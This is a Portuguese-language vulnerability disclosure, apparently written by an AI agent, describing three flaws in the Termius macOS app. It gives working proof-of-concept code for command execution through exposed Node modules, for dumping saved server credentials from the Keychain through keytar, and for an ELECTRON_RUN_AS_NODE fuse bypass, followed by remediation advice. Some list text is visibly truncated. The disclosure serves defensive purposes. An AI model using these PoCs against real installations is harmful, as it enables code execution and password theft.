Divulgação de vulnerabilidades com PoCs para três falhas críticas do Termius no macOS: Execução Remota de Código via módulos Node expostos, Elevação Local de Privilégios com extração de credenciais e bypass do Electron fuse. Inclui orientações de remediação.
Alvo: Termius (macOS) Versão Testada: Mais recente (em janeiro de 2026) Impacto: Execução Remota de Código (RCE), Escalação Local de Privilégios (LPE), Bypass de Segurança do Aplicativo
Três vulnerabilidades críticas foram identificadas no aplicativo Termius para macOS que permitem a um atacante:
keytar exposto.ELECTRON_RUN_AS_NODE.O aplicativo expõe módulos poderosos do Node.js (child_process, fs, electron) ao processo de renderização (a parte de interface web do aplicativo). Esses módulos ficam ocultos atrás de um Symbol global no objeto window para obscurecê-los, mas não são isolados com segurança.
// No código-fonte extraído do aplicativo
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Um atacante que consiga executar Cross-Site Scripting (XSS) pode escalar imediatamente para RCE usando este symbol exposto.
poc_rce_via_symbol.js:
// 1. Reconstrua a chave oculta usando Symbol.for (Registro Global)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Acesse o objeto backdoor exposto
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute um comando arbitrário do sistema (ex.: Calculadora)
backdoor.child_process.exec("open -a Calculator");
}
O módulo nativo do Node.js keytar, que o Termius usa para interagir com o Keychain do macOS, também é exposto através do mesmo Symbol oculto. Isso permite que qualquer script executado dentro do contexto do aplicativo (ex.: um plugin malicioso, XSS ou injeção de processo local) consulte e recupere senhas em texto puro de todos os servidores salvos.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Encontre o módulo keytar (o nome pode variar ligeiramente)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Despeje as credenciais do serviço padrão
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)O binário do Termius não desativa o fuse ELECTRON_RUN_AS_NODE. Esta é uma configuração de segurança crítica que permite a qualquer usuário local executar o binário assinado do Termius como um executável Node.js padrão. Isso contorna completamente as verificações de integridade da assinatura de código do macOS para a lógica do aplicativo.
poc_fuse.sh:
# Execute o Termius como Node.js, rodando código arbitrário
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode e EnableNodeCliInspectArguments usando @electron/fuses durante o build.window ou ao global. Use contextBridge.exposeInMainWorld com uma superfície de API restrita que exponha apenas as funções necessárias, não módulos inteiros.Relatório gerado pelo Agente Antigravity